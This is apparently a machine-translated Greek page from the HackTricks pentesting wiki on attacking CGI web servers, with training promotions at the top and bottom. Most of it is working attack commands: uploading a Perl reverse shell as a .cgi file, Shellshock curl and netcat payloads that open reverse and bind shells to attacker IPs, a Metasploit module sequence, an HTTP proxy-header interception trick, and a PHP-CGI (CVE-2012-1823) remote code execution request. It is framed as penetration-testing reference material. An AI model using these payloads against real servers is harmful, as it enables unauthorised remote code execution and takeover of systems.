tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Πληροφορίες
Τα CGI scripts είναι perl scripts, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί .cgi scripts μπορείτε να ανεβάσετε ένα perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl
), να αλλάξετε την επέκταση από .pl σε .cgi, να δώσετε δικαιώματα εκτέλεσης (chmod +x
) και να πρόσβαση στο reverse shell από τον περιηγητή για να το εκτελέσετε. Για να δοκιμάσετε για CGI vulns συνιστάται να χρησιμοποιήσετε nikto -C all
(και όλα τα plugins)
ShellShock
Το ShellShock είναι μια ευπάθεια που επηρεάζει το ευρέως χρησιμοποιούμενο Bash command-line shell σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει στην ικανότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια έγκειται στη χειραγώγηση των μεταβλητών περιβάλλοντος, οι οποίες είναι δυναμικές ονομασμένες τιμές που επηρεάζουν το πώς εκτελούνται οι διαδικασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσ attaching κακόβουλο κώδικα σε μεταβλητές περιβάλλοντος, ο οποίος εκτελείται μόλις ληφθεί η μεταβλητή. Αυτό επιτρέπει στους επιτιθέμενους να παραβιάσουν δυνητικά το σύστημα.
Εκμεταλλευόμενοι αυτή την ευπάθεια, η σελίδα θα μπορούσε να ρίξει ένα σφάλμα.
Μπορείτε να βρείτε αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια παλιά έκδοση Apache και cgi_mod (με φάκελο cgi) ή χρησιμοποιώντας nikto.
Δοκιμή
Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να περιμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του ιστού. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (αντανάκλαση, τυφλό και εκτός ζώνης)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Εκμετάλλευση
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM σε αιτήματα Web server)
Το CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στο http αίτημα. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"
Καθώς η μεταβλητή HTTP_PROXY θα μπορούσε να χρησιμοποιηθεί από τον web server. Προσπαθήστε να στείλετε μια κεφαλίδα που περιέχει: "Proxy: <IP_attacker>:<PORT>" και αν ο server εκτελέσει οποιοδήποτε αίτημα κατά τη διάρκεια της συνεδρίας. Θα μπορείτε να καταγράψετε κάθε αίτημα που γίνεται από τον server.
Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Βασικά, αν το cgi είναι ενεργό και το php είναι "παλιό" (<5.3.12 / < 5.4.2) μπορείτε να εκτελέσετε κώδικα.
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να έχετε πρόσβαση σε κάποιο αρχείο PHP του web server χωρίς να στείλετε παραμέτρους (ειδικά χωρίς να στείλετε τον χαρακτήρα "=").
Στη συνέχεια, για να δοκιμάσετε αυτήν την ευπάθεια, θα μπορούσατε να έχετε πρόσβαση για παράδειγμα στο /index.php?-s
(σημειώστε το -s
) και ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση.
Στη συνέχεια, για να αποκτήσετε RCE μπορείτε να στείλετε αυτήν την ειδική ερώτηση: /?-d allow_url_include=1 -d auto_prepend_file=php://input
και τον PHP κώδικα που θα εκτελείται στο σώμα του αιτήματος. Παράδειγμα:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Περισσότερες πληροφορίες σχετικά με την ευπάθεια και τις πιθανές εκμεταλλεύσεις: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.